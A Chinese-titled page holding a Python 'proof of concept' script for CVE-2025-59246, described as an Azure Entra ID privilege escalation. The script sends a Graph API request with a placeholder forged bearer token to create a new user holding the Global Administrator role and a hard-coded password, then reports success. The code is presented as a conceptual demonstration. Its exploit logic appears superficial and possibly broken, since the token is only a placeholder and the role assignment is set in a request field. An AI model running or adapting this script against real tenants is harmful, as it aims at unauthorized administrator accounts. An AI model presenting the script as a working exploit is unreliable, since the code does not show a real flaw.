CVE-2025-59246：Azure Entra ID权限提升漏洞

# CVE-2025-59246 - Azure Entra ID Elevation of Privilege # Proof of Concept - Conceptual Demonstration # WARNING: This is for educational and authorized testing purposes only import requests import json # Target Azure Entra ID endpoint TARGET_TENANT = "target-tenant.onmicrosoft.com" GRAPH_API_ENDPOINT = f"https://graph.microsoft.com/v1.0" def exploit_privilege_escalation(): """ Conceptual PoC for CVE-2025-59246 Demonstrates the privilege escalation path in Azure Entra ID """ # Step 1: Craft malicious token request exploiting the vulnerability # The vulnerability lies in improper validation of token claims headers = { "Content-Type": "application/json", "Authorization": "Bearer <forged_or_manipulated_token>" } # Step 2: Send crafted request to Graph API # Exploiting the flawed authorization check payload = { "displayName": "Escalated-Admin", "mailNickname": "escalated-admin", "userPrincipalName": "escalated-admin@" + TARGET_TENANT, "passwordProfile": { "forceChangePasswordNextSignIn": True, "password": "P@ssw0rd123!" }, "roles": ["62e90394-69f5-4237-9190-012177145e10"] # Global Administrator role } # Step 3: Execute the privilege escalation response = requests.post( f"{GRAPH_API_ENDPOINT}/users", headers=headers, json=payload ) if response.status_code == 201: print("[+] Privilege escalation successful!") print(f"[+] Created admin user: {response.json()}") return True else: print(f"[-] Exploitation failed: {response.status_code}") return False if __name__ == "__main__": print("[*] CVE-2025-59246 PoC - Azure Entra ID Privilege Escalation") print("[*] For authorized testing only") # exploit_privilege_escalation()